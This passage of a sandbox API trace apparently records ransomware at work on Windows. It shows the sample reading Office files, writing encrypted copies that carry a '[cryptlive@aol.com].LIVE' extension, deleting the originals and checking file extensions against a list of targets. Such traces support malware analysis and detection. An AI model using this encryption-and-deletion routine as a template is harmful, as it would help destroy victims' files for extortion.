dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0144.223] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=1608) returned 1 [0144.223] CloseHandle (hObject=0x3ac) returned 1 [0144.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgch.vrd")) returned 0x20 [0144.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgch.vrd.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgch.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0144.223] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.223] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgch.vrd.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0144.224] GetLastError () returned 0x0 [0144.224] ReadFile (in: hFile=0x3ac, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x648, lpOverlapped=0x0) returned 1 [0144.417] WriteFile (in: hFile=0x2f8, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x650, lpOverlapped=0x0) returned 1 [0144.419] ReadFile (in: hFile=0x3ac, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0144.419] WriteFile (in: hFile=0x2f8, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0144.419] SetEndOfFile (hFile=0x2f8) returned 1 [0144.419] CloseHandle (hObject=0x2f8) returned 1 [0144.420] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.420] SetEndOfFile (hFile=0x3ac) returned 1 [0144.422] CloseHandle (hObject=0x3ac) returned 1 [0144.423] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0144.423] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgch.vrd")) returned 1 [0144.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57 [0144.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57 [0144.423] lstrlenW (lpString=".doc") returned 4 [0144.423] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0144.424] lstrlenW (lpString=".docx") returned 5 [0144.424] lstrcmpiW (lpString1=".docx", lpString2="H.VRD") returned -1 [0144.424] lstrlenW (lpString=".pdf") returned 4 [0144.424] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0144.424] lstrlenW (lpString=".xls") returned 4 [0144.424] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0144.424] lstrlenW (lpString=".xlsx") returned 5 [0144.424] lstrcmpiW (lpString1=".xlsx", lpString2="H.VRD") returned -1 [0144.424] lstrlenW (lpString=".ppt") returned 4 [0144.424] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0144.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57 [0144.424] lstrlenW (lpString=".zip") returned 4 [0144.424] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0144.424] lstrlenW (lpString=".rar") returned 4 [0144.424] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0144.424] lstrlenW (lpString=".bz2") returned 4 [0144.424] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0144.424] lstrlenW (lpString=".7z") returned 3 [0144.424] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0144.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57 [0144.424] lstrlenW (lpString=".dbf") returned 4 [0144.424] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0144.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57 [0144.424] lstrlenW (lpString=".1cd") returned 4 [0144.424] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0144.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57 [0144.424] lstrlenW (lpString=".jpg") returned 4 [0144.424] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0144.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57 [0144.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57 [0144.424] lstrlenW (lpString=".doc") returned 4 [0144.424] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0144.424] lstrlenW (lpString=".docx") returned 5 [0144.424] lstrcmpiW (lpString1=".docx", lpString2="H.VRD") returned -1 [0144.424] lstrlenW (lpString=".pdf") returned 4 [0144.424] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0144.425] lstrlenW (lpString=".xls") returned 4 [0144.425] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0144.425] lstrlenW (lpString=".xlsx") returned 5 [0144.425] lstrcmpiW (lpString1=".xlsx", lpString2="H.VRD") returned -1 [0144.425] lstrlenW (lpString=".ppt") returned 4 [0144.425] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0144.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57 [0144.425] lstrlenW (lpString=".zip") returned 4 [0144.425] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0144.425] lstrlenW (lpString=".rar") returned 4 [0144.425] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0144.425] lstrlenW (lpString=".bz2") returned 4 [0144.425] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0144.425] lstrlenW (lpString=".7z") returned 3 [0144.425] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0144.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57 [0144.425] lstrlenW (lpString=".dbf") returned 4 [0144.425] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0144.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57 [0144.425] lstrlenW (lpString=".1cd") returned 4 [0144.425] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0144.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57 [0144.425] lstrlenW (lpString=".jpg") returned 4 [0144.425] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0144.425] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".LIVE") returned -1 [0144.425] lstrlenW (lpString="OUTLLIBR.REST.IDX_DLL") returned 21 [0144.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.rest.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0144.426] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=290688) returned 1 [0144.426] CloseHandle (hObject=0x3ac) returned 1 [0144.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.rest.idx_dll")) returned 0x20 [0144.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.rest.idx_dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0144.426] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.426] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.rest.idx_dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0144.427] GetLastError () returned 0x0 [0144.427] ReadFile (in: hFile=0x3ac, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x46f80, lpOverlapped=0x0) returned 1 [0144.507] WriteFile (in: hFile=0x2f8, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x46f90, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x46f90, lpOverlapped=0x0) returned 1 [0144.513] ReadFile (in: hFile=0x3ac, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0144.513] WriteFile (in: hFile=0x2f8, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xfe, lpOverlapped=0x0) returned 1 [0144.513] SetEndOfFile (hFile=0x2f8) returned 1 [0144.598] CloseHandle (hObject=0x2f8) returned 1 [0144.598] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.598] SetEndOfFile (hFile=0x3ac) returned 1 [0144.723] CloseHandle (hObject=0x3ac) returned 1 [0144.724] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0144.724] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.rest.idx_dll")) returned 1 [0144.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69 [0144.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69 [0144.724] lstrlenW (lpString=".doc") returned 4 [0144.724] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0144.724] lstrlenW (lpString=".docx") returned 5 [0144.724] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0144.724] lstrlenW (lpString=".pdf") returned 4 [0144.724] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0144.725] lstrlenW (lpString=".xls") returned 4 [0144.725] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0144.725] lstrlenW (lpString=".xlsx") returned 5 [0144.725] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0144.725] lstrlenW (lpString=".ppt") returned 4 [0144.725] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0144.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69 [0144.725] lstrlenW (lpString=".zip") returned 4 [0144.725] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0144.725] lstrlenW (lpString=".rar") returned 4 [0144.725] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0144.725] lstrlenW (lpString=".bz2") returned 4 [0144.725] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0144.725] lstrlenW (lpString=".7z") returned 3 [0144.725] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0144.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69 [0144.725] lstrlenW (lpString=".dbf") returned 4 [0144.725] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0144.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69 [0144.725] lstrlenW (lpString=".1cd") returned 4 [0144.725] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0144.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69 [0144.725] lstrlenW (lpString=".jpg") returned 4 [0144.725] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0144.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69 [0144.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69 [0144.725] lstrlenW (lpString=".doc") returned 4 [0144.725] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0144.725] lstrlenW (lpString=".docx") returned 5 [0144.725] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0144.725] lstrlenW (lpString=".pdf") returned 4 [0144.725] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0144.725] lstrlenW (lpString=".xls") returned 4 [0144.725] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0144.725] lstrlenW (lpString=".xlsx") returned 5 [0144.725] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0144.725] lstrlenW (lpString=".ppt") returned 4 [0144.726] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0144.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69 [0144.726] lstrlenW (lpString=".zip") returned 4 [0144.726] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0144.726] lstrlenW (lpString=".rar") returned 4 [0144.726] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0144.726] lstrlenW (lpString=".bz2") returned 4 [0144.726] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0144.726] lstrlenW (lpString=".7z") returned 3 [0144.726] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0144.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69 [0144.726] lstrlenW (lpString=".dbf") returned 4 [0144.726] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0144.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69 [0144.726] lstrlenW (lpString=".1cd") returned 4 [0144.726] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0144.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69 [0144.726] lstrlenW (lpString=".jpg") returned 4 [0144.726] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0144.726] lstrcmpiW (lpString1=".HXT", lpString2=".LIVE") returned -1 [0144.726] lstrlenW (lpString="OUTLOOK_COL.HXT") returned 15 [0144.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0144.727] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=207) returned 1 [0144.727] CloseHandle (hObject=0x3ac) returned 1 [0144.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxt")) returned 0x20 [0144.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxt.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0144.727] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.727] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxt.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0144.728] GetLastError () returned 0x0 [0144.728] ReadFile (in: hFile=0x3ac, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0xcf, lpOverlapped=0x0) returned 1 [0144.729] WriteFile (in: hFile=0x3c0, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xd0, lpOverlapped=0x0) returned 1 [0144.730] ReadFile (in: hFile=0x3ac, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0144.730] WriteFile (in: hFile=0x3c0, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0144.730] SetEndOfFile (hFile=0x3c0) returned 1 [0144.730] CloseHandle (hObject=0x3c0) returned 1 [0144.730] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.730] SetEndOfFile (hFile=0x3ac) returned 1 [0144.735] CloseHandle (hObject=0x3ac) returned 1 [0144.736] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0144.736] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxt")) returned 1 [0144.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63 [0144.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63 [0144.736] lstrlenW (lpString=".doc") returned 4 [0144.737] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0144.737] lstrlenW (lpString=".docx") returned 5 [0144.737] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0144.737] lstrlenW (lpString=".pdf") returned 4 [0144.737] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0144.737] lstrlenW (lpString=".xls") returned 4 [0144.737] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0144.737] lstrlenW (lpString=".xlsx") returned 5 [0144.737] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0144.737] lstrlenW (lpString=".ppt") returned 4 [0144.737] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0144.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63 [0144.737] lstrlenW (lpString=".zip") returned 4 [0144.737] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0144.737] lstrlenW (lpString=".rar") returned 4 [0144.737] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0144.737] lstrlenW (lpString=".bz2") returned 4 [0144.737] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0144.737] lstrlenW (lpString=".7z") returned 3 [0144.737] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0144.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63 [0144.737] lstrlenW (lpString=".dbf") returned 4 [0144.737] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0144.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63 [0144.737] lstrlenW (lpString=".1cd") returned 4 [0144.737] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0144.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63 [0144.737] lstrlenW (lpString=".jpg") returned 4 [0144.737] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0144.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63 [0144.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63 [0144.737] lstrlenW (lpString=".doc") returned 4 [0144.737] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0144.737] lstrlenW (lpString=".docx") returned 5 [0144.737] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0144.738] lstrlenW (lpString=".pdf") returned 4 [0144.738] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0144.738] lstrlenW (lpString=".xls") returned 4 [0144.738] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0144.738] lstrlenW (lpString=".xlsx") returned 5 [0144.738] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0144.738] lstrlenW (lpString=".ppt") returned 4 [0144.738] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0144.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63 [0144.738] lstrlenW (lpString=".zip") returned 4 [0144.738] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0144.738] lstrlenW (lpString=".rar") returned 4 [0144.738] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0144.738] lstrlenW (lpString=".bz2") returned 4 [0144.738] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0144.738] lstrlenW (lpString=".7z") returned 3 [0144.738] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0144.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63 [0144.738] lstrlenW (lpString=".dbf") returned 4 [0144.738] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0144.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63 [0144.738] lstrlenW (lpString=".1cd") returned 4 [0144.738] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0144.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63 [0144.738] lstrlenW (lpString=".jpg") returned 4 [0144.738] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0144.738] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0144.738] lstrlenW (lpString="OUTLOOK_F_COL.HXK") returned 17 [0144.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0144.739] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=114) returned 1 [0144.739] CloseHandle (hObject=0x3ac) returned 1 [0144.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_f_col.hxk")) returned 0x20 [0144.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.739] CreateFileW 